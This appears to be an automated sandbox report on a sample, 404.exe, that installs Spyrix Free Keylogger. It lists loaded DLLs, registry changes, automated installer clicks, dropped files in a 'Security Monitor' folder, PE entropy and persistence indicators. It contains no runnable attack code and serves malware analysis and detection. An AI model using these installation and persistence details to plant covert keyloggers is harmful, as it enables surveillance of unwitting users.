Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH

Source: Spyrix Free Keylogger.lnk.12.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Source: Uninstall Spyrix Free Keylogger.lnk.12.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe
Source: Spyrix Free Keylogger.lnk0.12.dr	LNK file: ..\..\..\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Source: Google Drive.lnk.58.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.58.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.58.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.58.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.58.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.58.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

File written: C:\ProgramData\Spyrix Free Keylogger\temp\logger.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Automated click: I accept the agreement
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Automated click: Next >

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\404.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 404.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 404.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 404.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: 404.exe

Static PE information: 0xFC3E2D57 [Fri Feb 8 17:01:11 2104 UTC]

Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name:
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: .d
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: .adata
Source: is-T1Q7P.tmp.12.dr	Static PE information: section name: .rodata
Source: is-T1Q7P.tmp.12.dr	Static PE information: section name: .rotext
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name:
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: .adata
Source: is-2D6JG.tmp.12.dr	Static PE information: section name: .didata
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /4
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /19
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /31
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /45
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /57
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /70
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /81
Source: is-M06NF.tmp.12.dr	Static PE information: section name: /92
Source: ffws.exe.46.dr	Static PE information: section name: .rodata
Source: ffws.exe.46.dr	Static PE information: section name: .rotext

Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_086FFDD8 push esp; retf	0_2_086FFDD9
Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_09EA9B78 push 1800035Eh; ret	0_2_09EA9BA1
Source: C:\Users\user\Desktop\404.exe	Code function: 0_2_09EA3C62 push E802005Eh; ret	0_2_09EA3C69
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_008650DC push 00865161h; ret	46_2_00865159
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_00865B30 push 00865BB6h; ret	46_2_00865BAE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0086CE95 pushad ; ret	46_2_0086CE96
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0086DEA3 push cs; ret	46_2_0086DEB4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_008660D4 push 0086613Ch; ret	46_2_00866134
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0086D2D4 push cs; iretd	46_2_0086D3AA
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_00872002 push 00000075h; retf	46_2_00872004
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_00869C0D push eax; ret	46_2_00869C8D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0086524C push 008652D7h; ret	46_2_008652CF
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0086D586 push ebx; ret	46_2_0086D587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_00865188 push 00865230h; ret	46_2_00865228
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_008675AC push 008675D9h; ret	46_2_008675D1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0086D3D6 push cs; iretd	46_2_0086D3AA
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_00865DFC push 00865E74h; ret	46_2_00865E6C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_00867550 push 0086759Ah; ret	46_2_00867592
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_007B16A4 push 007B17DEh; ret	46_2_007B17D6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0338D398 push 0338D3C4h; ret	46_2_0338D3BC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033873F8 push 03387424h; ret	46_2_0338741C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033903E4 push 03390410h; ret	46_2_03390408
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03375238 push 03375264h; ret	46_2_0337525C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03385224 push 03385266h; ret	46_2_0338525E
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03375200 push 0337522Ch; ret	46_2_03375224
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033852A8 push 033852D4h; ret	46_2_033852CC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_033852E0 push 0338530Ch; ret	46_2_03385304
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0338011C push 03380154h; ret	46_2_0338014C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0337E108 push 0337E134h; ret	46_2_0337E12C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_03375144 push 0337517Ch; ret	46_2_03375174
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 46_2_0337D1A8 push 0337D1F4h; ret	46_2_0337D1EC

Source: 404.exe	Static PE information: section name: .text entropy: 7.81759162350406
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: entropy: 7.970560832581065
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: entropy: 7.995359849273399
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: entropy: 7.98989686324796
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: entropy: 7.581553890924904
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: entropy: 7.998441689187187
Source: is-H0VIM.tmp.12.dr	Static PE information: section name: .d entropy: 7.923610064617086
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: entropy: 7.972249623981622
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: entropy: 7.99458999281375
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: entropy: 7.992015849394924
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: entropy: 7.515192733866904
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: entropy: 7.998936896615619
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: .rsrc entropy: 7.953583660494071
Source: is-BDDH1.tmp.12.dr	Static PE information: section name: .data entropy: 7.561972396742998

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NE9RG.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\curl.exe	File created: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-SE2BH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T6149.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	File created: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-5RI0Q.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-M06NF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-A237A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-BDDH1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-J5DND.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-2D6JG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File created: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1Q7P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\webbrowser.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-FUVBN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H0VIM.tmp	Jump to dropped file

